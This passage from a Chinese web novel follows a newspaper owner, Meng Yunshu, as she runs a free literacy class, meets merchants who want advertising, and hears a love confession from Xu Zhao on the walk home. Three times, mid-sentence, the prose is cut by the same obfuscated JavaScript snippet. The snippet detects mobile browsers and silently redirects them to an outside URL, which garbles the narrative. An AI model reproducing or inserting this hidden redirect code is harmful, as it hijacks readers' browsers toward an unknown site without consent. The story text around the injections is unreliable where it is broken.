从回城后孟允抒就开始着手准备讲学事宜，她联想到曾经在现代书店见过的“读书会”活动，觉得这是个不错的营销手段，在传播文化的同时也能推销店内的商品。于是，她借鉴这种模式作了初步的计划和安排，对外放出报社要举办“识字会”的消息。 首次识字会将由她主讲，根据课程效果和反响再作调整。 两人向孟允抒道过谢，其中一人腼腆地笑了笑：“我夫君每日都要看报，案上堆满了纸张。我听他说，小报上有诸多奇闻轶事，我心生好奇，却因不识字而无法读懂其中内容。近日我曾听闻黎民报社中要举办识字会，故来洗耳恭听。” 孟允抒没和她们聊上几句，因为在她们之后又陆续来了不少人，孟允抒店内的伙计跑前跑后，忙着招呼来客。他们大多衣着简朴，不少人还穿着破破烂烂的草鞋，打眼一看就是最寻常不过的平民。众人来听课的理由也各不相同，有单纯前来瞧新鲜凑热闹的，有带着孩子来蒙学的，还有像那妇人与从前的排云一样，为了能够读书看报而学习识字的。 很快，采闻堂中就挤满了人，呈现出一派沸反盈天的景象。 当孟允抒再次折返回门口时，发现那里站着一个熟悉，但令她十分意外的身影。 她惊疑地看向陈暄。 “你怎么来了？” 陈暄尴尬地抹了下鼻子，装出一副打量采闻堂的样子：“我听闻你们报社要举办什么识字会，心生好奇，所以来看看。” 他踌躇了一下补充道：“你和许大人为修远申了冤，我感激不尽。你若是有什么需要帮忙的地方，就尽管开口。” “你先进来吧。”孟允抒带陈暄进了门，寻了个空处落脚。她觉得他的表现挺稀奇，忍俊不禁道：“平日你说话总是夹枪带棒的，这会来帮忙，反倒不好意思起来了。” 面对她的调侃，陈暄赶紧岔开话题问道：“这些人都是来参加识字会的？” 孟允抒回头望向满堂的来客，点了点头。 他沉默片刻，而后露出一个释然而苦涩的微笑。 “如此一来，他的心愿也算是实现了。” 孟允抒当然明白陈暄口中的“他”是指谁。 许昭押送柳玉成至刑部之后，陈暄就在第一时间给陈修远的家人写了信，向其告知案件真相，并联合他们写了谅解书，请求刑部官员对柳玉成宽大处理。 陈暄说，因为陈修远的死，他永远不会原谅柳玉成。 但是，他希望这世上能早日多出一位柳先生。 孟允抒看了看院中的那个滴漏，发觉时间差不多了。于是，她站到采闻堂最前方，高声维持纪律：“请诸位安静一下，识字会要开始了。” 她看向采闻堂后方乌泱泱的人头说道：“我们社中没有那么多椅子，辛苦后面的那些兄弟姐妹站着听讲。麻烦个头高的人往后站站，别挡着后面的人。” 除过她这个主讲人外，排云担任此次识字会的助教，还有另外一名伙计作为机动人员，加上陈暄这个志愿者，在几人的合作下，不多时堂内就安静下来。 管理好秩序后，孟允抒继续说道：“感谢诸位莅临黎民报社，参加此次识字会。我们再次承诺，识字会是由报社自发举办，不会向诸位收取任何费用。” 她扫视了一圈屋内的人。男女老少都仰起头，一齐向她投来目光。在这些目光当中，有的是困惑，有的是好奇，还有的是感激。 恍惚之间孟允抒仿佛看到，在他们身后，站着江芷兰，还有柳玉成。 虽然他们的身份、性格、际遇都截然不同，但他们共同构成了一个词汇。 “这就是‘人’。” 孟允抒指着木板上的第一个字说道。 她拆解着这个字的结构：“‘人’字由一撇一捺组成，它们彼此支撑，互相搀扶，构成了这样简单却和谐的字。” 将第一句话的每个字都单拎出来讲解后，孟允抒让大家齐声朗读一遍。 粗犷与轻柔的声音混在一起，沧桑的语调和着清脆的童声，将这句话拉得很长。 “人之初，性本善。性相近，□□——” 孟允抒解释起了句子的含义：“这句话的意思是说，人在刚出生时，本性都是善良的，性情也很相近。但由于后天的学习环境不同，每个人的习性就会产生差异。这就是学习和教育的重要性。” 事实上，孟允抒不信奉任何“性善论”或“性恶论”的观点，但要和眼前的这些民众讨论这些显然为时过早。他们甚至都不认得几个字，更遑论令他们进行哲学上的思辨。 然而，即使他们只能迈出小小的一步，那也是极为难得的成就。 第一次识字会圆满结束后，众人三三两两地离开，陈暄也随之告辞。临别前他告诉孟允抒，以后他若是有空，也可以充当主讲人的角色。 孟允抒低头整理着她在识字会上所用器具，门口突然响起一道热情洋溢的男声：“孟社长，您这会忙吗？” 孟允抒抬头看向那人，回忆了一下问道：“你是揽月阁的伙计？” “您真是好记性。” 他就是那个前些天被福临楼的两人刁难的店小二。 孟允抒和许昭查明陈修远一案后，揽月阁的嫌疑彻底被洗清，谣言也不攻自破。几日前潘掌柜为表感谢，一定要请他们吃饭。他盛情难却，最后两人就应了下来。 这会伙计来应该是替潘掌柜传话的。 “先前我们掌柜请您和许大人吃饭，本来定的时间是明日中午，但昨日揽月阁中突然来了其他几个店铺的掌柜。”这位伙计干多了跑堂的活，嘴皮子相当利索，“有永乐巷成衣店的胡掌柜、韵宁茶坊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489937|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的杨掌柜、驻颜阁的赵掌柜……” 孟允抒听得晕头转向，但那伙计居然连一个绊子都没打，语速飞快地介绍完了各位来宾。 “他们来寻潘掌柜，想让他牵线搭桥，将您和许大人介绍给他们。这几位掌柜平日也经常忙得抽不开身，他们近期只有今晚都有空。所以我们掌柜赶紧派我来问问您，若他更改时间，看您是否还能来赴约。” 虽然孟允抒没能将那几个掌柜的身份全部记下，但她不难推测这些人的目的。 陈修远一案得到重审后，许昭串联证据推翻原判，冲破重重阻挠后将方知瑜抓获归案，他与柳玉成各自被定了罪，涉案官员也悉数落网。 与此同时，孟允抒连着出了几期的跟踪报道，通过小报讲述了他们的调查过程和案件经过，将真相公之于众。因此事涉及的势力众多，讨论度极高，一时间黎民日报供不应求，报社一夜之间人满为患。 从此之后，孟允抒不用再为报社没有名气而发愁了。 那伙计所提到的这几个掌柜应当是想和报社合作，借吃饭的机会与孟允抒结识。运气好的话，她应该能接到不少广告。 接广也是报社中一项很重要的收入来源，孟允抒生怕错失几位金主，当即答应下来。 “有劳你回禀潘掌柜，酉时之后我就没什么事了，一切听从潘掌柜安排。” 伙计前脚刚走，秋盈又跨过采闻堂的门槛，满面春风地向孟允抒报喜。 “社长，我已经和那些合作方谈妥了，他们愿意以更高的进价买我们的报纸。这样算下来，我们每个月的收入能翻四五番。” 秋盈口中的合作方包括京城中的众多摊贩，以及刚刚诞生不久的职业卖报人。 孟允抒听到这个消息也是喜上眉梢。她果真没有看错，秋盈是她的得力助手，将店内的一切事物都管理得井井有条，为她减轻了不少负担。 “既是如此，姐姐每月的薪酬也该翻上四五番。”她对秋盈笑道，“这些日子辛苦你了。” “这是我分内之事，我乐在其中呢。” 秋盈和孟允抒调笑一会，复而正色道：“还有件事我想和你商量。有些客官住得离报社远，没有每日前来买报的空闲，所以我在考虑直接将报纸送到他们的指定地点。你若是同意，我就派人前去收集他们的信息，合理安排送报的路线。” 发展订报业务有助于增强读者粘性，一旦这些人成为黎民日报的老主顾，他们报社就能获得稳定的资金来源。 孟允抒发觉，秋盈现在愈发有职业女性的模样，整个人都不像从前那般循规拘礼。 “这主意不错，此事就交给你了。”孟允抒对秋盈的变化喜闻乐见，大力鼓励她放手去做，“你办事，我放心。” “行，那我就将此事分派下去了。” 秋盈离开后，孟允抒也带着收好的笔墨回到办公室。 她坐在椅子上喘了口气，又开始思索晚上面见那几位掌柜的事。 孟允抒好歹也是在职场上混过几年的人，姑且算得上伶牙俐齿，酒量也不错，倒是不担心和这些商人打交道。 唯一的不稳定因素是许昭。 孟允抒已经见识过许昭独特的社交方式，虽然不太礼貌，但为了报社的前途，她决定提前委婉地告诉许昭，让他在席间尽量少说话。 28. 商业合作 傍晚，孟允抒准时来到揽月阁，她的一只脚刚刚跨过门槛，顿时就被此起彼伏的笑声淹没。 胤朝没有宵禁，人们的夜生活相当丰富，此时的揽月阁中人满为患，热闹程度甚至远超白天。东边的舞台上，有乐师与舞女进行着歌舞表演；而在另一侧的角落中，说书人正讲述着前些天陈修远的案子，作为来客吃饭时的助兴节目。 那名说书人正讲到精彩处，不少食客纷纷放下手中的筷子凝神聆听。孟允抒对此场景十分满意。 前些天陈修远一案告破后，潘掌柜曾问孟允抒需要什么报酬，她就向潘掌柜提议合作，请揽月阁的说书人兼职唱报，讲述每日新闻头条，若有客官对其所讲的新闻感兴趣，可花上三文钱从说书人处购买小报。 孟允抒赶着去赴约，顾不上在此处驻足逗留，径直往楼梯的方向走。 尽管四周是一片喧嚣，眼尖的店小二依然马上发现了孟允抒，小跑着来到她身边，脸上堆满笑容：“孟社长，您可算来了，我们掌柜一直盼着您呢。请随我来。” 孟允抒跟着伙计来到二楼一处雅间，隔着门就能听见里面传来的高谈阔论。 她固然喜欢人多的地方，但上了一天的班，她一直没空休息，当前精力严重不足。现在四下都是吵吵嚷嚷的声音，孟允抒还没进去就已经感觉到头疼了。 没办法，要赚钱的嘛。 她拦住伙计推门的动作，先请他去忙，自己则通过门缝瞅了一眼屋内的情况。 屋内已经坐了八个人，只有许昭身边还有个空位，显然这座位是给她预留的。看来，所有宾客都已经到齐。 除此之外孟允抒发现，许昭在一群圆滑世故的商人中格格不入，他一言不发地靠在椅背上，神情恍惚，连眼睛中都没了光彩，像极了被迫营业的社畜。 看上去他还坐在桌边，实际上人已经走了有一会了。 许昭一开始并没有答应潘掌柜的邀请，但后来听说孟允抒要来赴约，担心她夜里一个人回家的安全问题，于是又改口同意。 真是难为他了。 为了给那些掌柜留下一个好印象，孟允抒调整好状态，摆出一副温柔可亲的微笑走了进去：“诸位掌柜抱歉，报社事务繁忙，我来迟了。” 桌上的人闻声暂时中止了谈话，纷纷向孟允抒起身行礼，潘掌柜对她笑道：“孟社长近日忙得抽不开身，我们都能够理解，快请坐。” 他所指的方向正是许昭旁边的那个椅子。 孟允抒坐到许昭身边，装模做样地问他：“许大人好久不见，你近来可好？” 许昭谨记孟允抒的提醒，冲她微微一笑，机械地背着台词，连点头的动作都变得僵硬：“多谢孟社长挂念，一切顺利。” 孟允抒不敢直视许昭的脸，生怕她一个忍不住会笑出声。于是她迅速结束了与许昭的对话，将目光投向对面，听潘掌柜向桌上的宾客介绍彼此的身份。 她应和着潘掌柜的介绍，余光瞥见许昭一反常态的神情。自从她坐到许昭旁边，他就突然来了精神，整个人都容光焕发起来，这会正兴致盎然地听他们说话，满脸都是喜气。 孟允抒不明白，她当初到底为什么会觉得许昭的心思难猜。 双方初步相识后，那名韵宁茶坊的杨掌柜率先举起酒杯笑道：“先前我从潘掌柜那里听到孟社长的名号与事迹，还以为社长是个刚强泼辣的人。今日有幸得见，孟社长竟是这般温婉灵秀的女子，着实令人意外。” 孟允抒觉得这人分明是笑里藏刀。 她听得出对方的不信任，话里话外都是对自己的试探。 孟允抒回敬给对方一个笑容，与他碰了杯。 “杨掌柜此言差矣。你我都是生意人，最忌讳以貌取人，掌柜与我相识不到一刻，只从外表上断定我的性情未免太过草率。” 说罢，她仰起脖子，一口将杯中的酒饮了个干净。 这酒名叫清波摇，气味香醇但入口浓烈，如利刃滚过喉咙，火辣辣的感觉从食道一直延伸至胃中。孟允抒凭直觉判断它的酒精度数不低。 潘掌柜见状出来打圆场：“这酒虽好，喝多了却会伤身。孟社长，小酌怡情。” “潘掌柜所言极是，只是这杯酒对我来说实在算不上什么。”孟允抒抬眼看向杨掌柜，“我看杨掌柜身材魁梧，照您的说法，饮这一坛也应当没有问题吧？” 听到孟允抒的回答，杨掌柜并未生气，与其他几人一同大笑起来：“我早就听闻孟社长口齿伶俐，今日一见果真名不虚传。” 在旁边目睹了全过程的许昭神情迷茫，看上去完全没理解他们在打什么哑谜，只能附和着众人一起尴尬地微笑。 孟允抒一早就知道，他们今日聚餐的本质是潘掌柜向她和许昭答谢，那些掌柜对此当然也心知肚明，胤朝人又讲究风雅，不可能在桌上做比酒量这种庸俗之事。 杨掌柜只是在判断她的行事风格，以此确定两人打交道的方式。 酒过三巡后，他们的关系愈发熟稔，孟允抒妙语连珠，桌上的人笑得前仰后合，免不了一番商业互吹。 其中，孟允抒听到最多的夸赞是“女中豪杰”。 她听到这句话时虽面色如常，内心却有些怅然。 胤朝毕竟还处在封建时代，相较男子来说，女子经商并不普遍，更别说经营管理整个店铺。他们的这句夸赞恰恰说明孟允抒的身份与行为罕见，可这本应是一件稀松平常的事情。 待桌上的酒菜都消失大半后，几人不再动筷，只是偶尔饮一口茶水。 开成衣店的胡掌柜放下茶杯，坐直身子笑道：“孟社长能将黎民日报销往京中各处，令报社的名号响彻整座京城，我实在佩服。今日通过潘掌柜的引荐，我们也与社长结交为好友，还望您多多关照。” 孟允抒听他这话就知道，这些人终于要和自己商量正事了。 “胡掌柜不必拘礼，你我都是朋友，自然该彼此照应。” 胡掌柜心里有了底，向孟允抒表明他的来意：“实不相瞒，近日我们店中的生意不大景气。先前我与店中伙计绘制出一批图纸，按照其样式做出新衣，但知情者并不多，也有许多人不曾了解其中所含的匠心，只有寥寥几人购买。” “因此，我想请孟社长为店中的新衣款式进行宣传介绍，吸引更多人来店中一探究竟。需要多少钱您尽管开口，一切都好商量。” 孟允抒等的就是这一刻，她按捺住心中的兴奋，装出一副云淡风轻的样子，显得她像是个见惯大场面的人，像是每天都能谈上千两银子的生意。 “胡掌柜所营成衣店享誉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504035|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全京城，无论是大家还是平民，都对其赞不绝口，称其兼具美观与舒适性。我帮胡掌柜推广店中新衣，实际上是借了掌柜的名气，于我们报社也十分有利。若掌柜确有此意，稍后我们可去社中详谈。” 见胡掌柜将话题引至此处，桌上的其他人也纷纷向孟允抒表明合作意向：杨掌柜想在城中开一家分店，让她提前宣传积累人气；驻颜阁的赵掌柜请她做一期美妆测评，向民众展示其产品效果；开香铺的王掌柜近日在店中开展大促活动，经典香型的制品有满减优惠，想叫孟允抒帮忙推广。 孟允抒一一应下，与众人约见了会谈时间，随后做进一步打算。 众人都达成了各自的目的，一时喜不自胜，再次举杯把酒言欢。这样几圈下来，饶是孟允抒这样的好酒量都有些顶不住。 许昭几次想出言相劝，却被孟允抒用眼神挡了回去。 宴饮步入尾声，杨掌柜看看窗外渐浓的夜色，晃晃悠悠地起身说道：“时候不早了，我们也不便再继续叨扰潘掌柜与孟社长，不如先各自回府，改日再聚。” 该说的话都已经说完，众位宾客纷纷应和杨掌柜的提议，互相施礼离席。潘掌柜看看醉醺醺的来宾，适时地说道：“诸位今日都喝了不少酒，不便独自回府。请各位稍等片刻，我叫伙计去备马，送你们回去。” 此时的孟允抒头脑发晕，却没到神智不清的地步，在潘掌柜起身的前一秒，她突然意识到一件事，连忙拦住他的动作。 “潘掌柜不必给我备马。” 她与许昭的声音撞在一起，潘掌柜疑惑地看向异口同声的两人：“为什么？” 孟允抒若是让揽月阁的伙计送她回去，她和许昭的关系就不言自明了。 她的借口信手拈来，脱口而出道：“我在房中闷得久了，想借着回府的这段路散散步，顺带醒一醒酒。” 许昭则说道：“我的府邸离此处不远，不出半个时辰就能到，不劳烦潘掌柜送我了。” 潘掌柜看了看孟允抒，不大放心地说：“孟社长胆识过人，但你终究只是个弱女子，又喝了酒，夜里行走多有不便，还是店中的让伙计送你回去吧。” 孟允抒推拒不得，她看看身边的许昭，又生一计。 她拉来许昭靠近潘掌柜，故作神秘地压低声音：“我有事要与许大人相商，他会与我同行。” 许昭想起孟允抒事先叮咛过他，在席间无论她说什么都要表示支持，于是附和着她点头。 “原来如此。”潘掌柜心下了然，喊来个伙计让他将孟允抒和许昭送至门外，自己则十分有眼力见地退了出去，为其他掌柜安排车马。 待两人将揽月阁的喧嚣远远甩在身后时，孟允抒这才放松下来，和许昭不约而同地长舒了一口气。 他们彼此对视了一眼，都被对方刚才装模做样的神情逗笑。 两人正沿着街道朝许府的方向走，许昭环顾四周，目光落在前方的小摊上：“你先在此处休息片刻，我去找辆马车。” “不必了。”这会丝丝缕缕的凉风吹散了孟允抒的酒气，让她觉得十分惬意，“我们已经走出去了不少路，现在离许府不远，不如直接步行回去。” 她看看许昭，忆及萧睿言给她传递的最新情报，对许昭笑道：“正好我有些话想问公子。” 29. 心意 随着孟允抒和许昭远离云锦天街，路上行人的身影逐渐稀疏，周遭的环境也愈发安静，只剩下两人踏在地上的脚步声，以及他们之间闲谈的絮语。 “傍晚时睿言曾来过报社一趟，说他曾见到几位官员和你争辩，你们吵得不可开交，但他并不知道内情。”孟允抒缓步向前，半是八卦半是关心许昭地问他，“你又在朝中做了什么事，惹得他们那样生气？” 孟允抒之所以用“又”这个字，实在是因为许昭在外面招惹的人太多了。要是哪天她听不到有官员来找许昭吵架，那她才会觉得奇怪。 提起此事，许昭也有些愤愤不平：“因为我在今日上朝时上疏奏议，戳了那些老顽固的痛处，他们觉得是我让他们颜面扫地，就来挑我的错处。” 萧睿言当前的品级不够，他只有在特殊情况下才去上朝，因此并不知道许昭今日在朝会中说了什么。 通过平日和许昭以及萧睿言的交流，孟允抒大致知晓胤朝当前的政局。他们当今的圣上是个仁君，政治能力算不上拔尖，手腕也并不强硬，但好在慧眼识珠，知人善任。为了富国强兵，解决前朝积累下来的种种问题，他广纳贤才，鼓励他们进谏，大刀阔斧地对各种政治制度进行变革。 因此，朝中官员大致可分为三种派别。许昭向来不参与站队，但从政治志愿上来讲，他属于变革派的一员，而他口中的“老顽固”就是那些保守派的成员。 其余的大多数人则是萧睿言口中的中立派。 孟允抒好奇道：“你和陛下提了什么改制的建议，居然能令这些大臣大发雷霆？” “这些建议我已思虑许久，眼下才得来良机。” 许昭讲起了他上疏的原委。 “如今陈修远一案已经尘埃落定，此案的经过与内情并不复杂，可其中牵涉的人员众多，也暴露出现行教育与科举选官制度的诸多弊端。相较于富家子弟，寒门学子要想通过勤学苦读而登科入士，简直难如登天。” 孟允抒赞同地点头。一个人若是家境优渥，他不用为生计奔波，自然可以专心学习。同时，因为出身优越，他能享受到优质的教育资源，在起跑线上就已经赢过寒门学子太多。 “而且，女子的情况比他们还要艰难。” 许昭仰头看向天边的一轮残月，而后将目光落在孟允抒身上。 “在大胤律法当中，虽无明文禁止女子参加科考，但人尽皆知，女子被排除在仕途之外。即便她们通过考试，也往往只能被授予一个象征性的封号，无法获得实职。因此，世人更加认为女子读书无用。” 孟允抒身为女性，对这些现象当然不满，但她没料到许昭能注意到这一点。 她问了许昭一个略显尖锐的问题。 “世人皆认为男尊女卑，说女子就应安分守己、相夫教子，而非在外抛头露面。公子却不这样认为？” 许昭的回答脱口而出，显然他早就思考过这个问题。 “那是自然，女子并非天生就该做这些事。无论是寒士也好，女子也罢，都应有机会发挥各自的才能。这样一来，国家才有可能兴旺发达，百姓方能安居乐业。” 许昭又回到了他上疏奏议的话题上：“因此，我提出了一些改制的建议，希望教育与科考选官更公平些，让人们不因出身、家世、性别所累。” “公平”从来都是一个棘手的难题，而且要实现这一目标，就一定会有许多人的利益受损。许昭所提出的改革力度很大，必然触及多方势力，女子从政更是对传统观念的巨大冲击。 因此，孟允抒不难理解众位官员对许昭的态度。 “公子的想法很好，可此举定然会遭到来自各方的阻挠与驳斥。” “但我必须这样做。” 许昭轻轻叹了口气，声音中不乏惋惜和悲愤。 “我母亲，江芷兰，陈暄，柳玉成，他们原本都是仁人义士，却因机遇不佳，或命途多舛，或误入歧途。大胤的土地广博，人口众多，在他们当中，又有多少人像那些人一样被埋没？这是对贤才的浪费，也是对他们人生的辜负。” 许昭抬眼看向孟允抒：“正如姑娘一般，你才华横溢，有胆有识，过去却一直被困在闺阁之中。如今你的事业蒸蒸日上，我也乐见其成。” 许昭的这番陈词在孟允抒心中掀起巨大的波澜。她终于明白，仅用“品行端正”一词来形容许昭太过单薄。 他没有阻碍自己办报，不单由于他是个好人，不愿限制她的自由，更是因为他真心实意地赞成她的做法。 孟允抒想起萧睿言所说的那句话。归根结底，她和许昭是一样的人，他们有着相同的理想信念。 她抬头注视着许昭。孟允抒面带微笑，语气却是从未有过的珍重。 “公子与我是知己。” “只可惜这名号来得有些晚。”许昭笑笑，有些遗憾地说，“过去两年我不了解姑娘，也并不知晓你有这般雄心壮志。” 他感慨道：“姚府倒台后，你非但不怨恨我，反而为我仗义执言。从那天起我才明白，原来姑娘有主见，是个明辨是非的人。你不计较身份高低，不贪图享乐，又有学识有志气，心性坚韧，胸怀广博，着实令我敬佩。” 他的语气十分真诚，孟允抒本就醉着酒，这下被许昭一夸，她更是觉得有些晕乎。 她不好意思地推拒道：“公子谬赞了，我哪能担得起‘敬佩’二字。” 许昭看了她一眼，将目光从孟允抒身上移开：“姑娘所言极是。” 孟允抒眼见着绯色的云霞一点点攀上许昭的耳廓，忽然嗅出一丝不对劲的气息。 “我对姑娘的感情与其说是‘敬佩’，倒不如‘仰慕’二字来得更为妥当。” 许昭突如其来的直球打得孟允抒猝不及防，她想像往常一样开个玩笑缓解尴尬，可挖空了心思也没能憋出一句话。 孟允抒发觉自己的脸上发烫，心脏也剧烈跳动起来，连带着她的脚步都有些虚浮，几乎难以支撑身体。 她心慌意乱地想，肯定是她的酒劲开始发作了。 她要是再继续调侃许昭，还指不定他会发表什么惊世骇俗的言论，于是孟允抒故作镇定地说道：“公、公子何出此言？” 孟允抒结结巴巴地说完一句话，全然没有平时的巧舌如簧。这下她更加笃定，她此刻的反应是酒精作祟。 尽管许昭看起来也十分局促，可他依然执拗地看向孟允抒，一字一句地坦白自己的心迹，语气庄重而真挚。 “在庙会上姑娘曾与我对谈，你告诉我何为‘从心所欲’。近日我发现，每次我见到你便心生欢喜，不见你时又甚是思念。因此我想，我应是心悦于你。” 孟允抒慌得六神无主，她匆忙地应了声“嗯”，抬眼看向前方随风舞动的柳梢。 她同许昭聊起报社的近况，生硬地转移话题。 “多亏公子一直以来鼎力相助，现今报社的发展如日中天。照这样下去，赶今年年末，我们投入的本钱就可尽数收回。” “那到时就劳烦你将这些钱归到府中的账目上。”许昭接过她的话说，“过去府中的账本都放在我那里，我近日正想和姑娘商量，将管账的事交给你。” 他又补充道：“姑娘放心，府中的账务并不繁杂，不会耽误你多少时间。” 以前孟允抒和许昭都是各过各的，两人名义上是夫妻，但私底下都不会过问彼此钱财的去处。 在各府当中，账务由女主人管理是一件约定俗成的事。就算孟允抒再想自我欺骗，也无法忽略许昭这句话中所含的情意。 她再次确认自己没听错：“公子让我管账？” “你与我本就是一家人，由你管账理所应当。”许昭垂眸说道，“我只想让你放心。” 完了，她非但没能把话题引向更远的地方，反倒让他把这话说得愈加明了。 此刻孟允抒心乱如麻，不知该如何应对许昭对她的感情。 经过这段时间的相处，她和许昭一同经历了不少事，也逐步摸清了他的品行与性情。如许昭所说，孟允抒每次见到他时也一样心情愉悦。 扪心自问，她似乎的确在不觉间对许昭生出情愫，但她总觉得两人的关系还没到他所说的地步。 今日许昭的表白来得突然，如果她就这样稀里糊涂地接纳许昭的感情，这对他，对她自己来说都太过草率。 她还需要一段时间消化他们之间的感情，确定自己对许昭的心意。 孟允抒心中有了主意，她看向许昭正色道：“公子对我的情意发自肺腑，我深受触动，也感激不尽。” 她低下头，咬了咬唇说道：“只是如今报社发展正处在关键时期，我暂时抽不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522220|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精力来处理个人感情，也并无空闲操持家务。还望公子见谅。” 许昭久久没有回应，她也不敢直视他的面庞。 他好不容易鼓起勇气说出心里话，却得来这样的拒绝。 孟允抒突然有点后悔。这对许昭来说是个相当残忍的打击。 “我明白了。”许昭低声说道，“是我太唐突，冒犯了姑娘。” “不，我绝无此意。”孟允抒急忙向许昭解释，“只是请公子给我些时间，容我适应一阵。” 许昭挤出一个微笑，对她点点头：“我知道。” 孟允抒见他这幅神情，心里又有些难过。 她想了想，对许昭说道：“既然我已经知晓公子对我的情意，那就请你对我换个称呼。” “‘姑娘’一词听起来太生分了。”孟允抒对他笑笑，“以后公子就叫我‘允抒’吧。” 许昭先是一怔，而后欣喜地点头。 孟允抒这句话的潜台词就是，他们的关系有再进一步的可能。 “方才你提起报社，令我想到一件事。”聊完感情问题，许昭言归正传道，“近日报社声名鹊起，我也替你高兴。但你要小心树大招风。” 俗话说“人怕出名猪怕壮”，再加上孟允抒干的这行本来就容易得罪人，接下来的一段时间内，黎民报社肯定是站在风口浪尖上。 “你一定要保全自己。” 孟允抒看向许昭，他的面色中满是担忧。她想起许昭的心结，觉得他的反应可谓自相矛盾。 “我早就想问公子，你害怕失去身边亲友，为何却放任我查找真相？” 许昭沉默片刻，像是回避这种可能性一般，过了一会才开口。 “因为这是你的志向，我不该对你横加阻拦。我若是因为，未免太过自私。” 许昭语气诚恳，墨玉似的眼瞳被月光笼上一层清辉，在夜色中显得闪闪发亮。 “而且在做这些事时，我能察觉到你的欣喜。只要你高兴，我就愿意支持你。” 孟允抒没料到他会这样回答，一时间有些发愣。 与此同时，一阵柔软的暖意漫上心头。 这个理由十分简单，但也足够真挚。上次她听到类似的话语还是在她父母口中。 过去她为了自保以及达成目的，曾多次扯谎欺骗许昭。而这份假意却换来一颗沉甸甸的真心。 孟允抒的视线竟然有些模糊。 她强行压制住心头纷繁复杂的情绪，尽力保持语气的平静。 “多谢公子。” 许昭发觉孟允抒的声音似乎不对劲，见她低着头，就凑近了些问道：“你说什么？” 他望见了孟允抒脸上的泪痕。 许昭没料到孟允抒会做出这样的反应，手足无措地问她：“你为何突然落泪？可是我说错了话？若是如此，我向你赔罪……” 孟允抒正是百感交集之时，却被他的举动逗得破涕为笑。 许昭这人堪称钢铁直男。 她摇摇头说道：“你没有错，只是我近日略感疲惫，哭出来心中会轻松些。” 许昭一听，脸上的慌张转为担忧，向孟允抒提议道：“那待到端午时，我陪姑娘去青阳湖走走，那里每年都会赛龙舟，游客众多。你爱热闹，此处适合你去散心。” 孟允抒欣然应允，抬头看向许昭：“只是除此之外，我还想向公子要一样东西。” “姑娘尽管开口。” 孟允抒却没有继续说话，只是张开双臂将许昭抱了个满怀。 许昭被她的举动打得措手不及，但他很快理解了孟允抒这般举动的含义，于是也抬起双手，轻柔地回应着她的动作。 这是一个相当克制的拥抱，没有掺杂恋人之间的爱，有的只是对知己情谊的欢欣和感激。 不过，孟允抒很快就发现了一丝违和感。 她的目光向下看了一眼，她感觉两人再这么抱下去，这个举动的性质就变了。 所幸许昭也意识到了这一点，他赶在孟允抒之前收回了手，尴尬地偏过头。 为了不让两人之间的空气凝滞，孟允抒轻咳一声，若无其事地转移话题道：“明日我还要去报社，公子也得上朝，我们快些回府吧。” 她不用看许昭就知道，现在他们俩的脸色比人家房前挂的灯笼还要红上几分。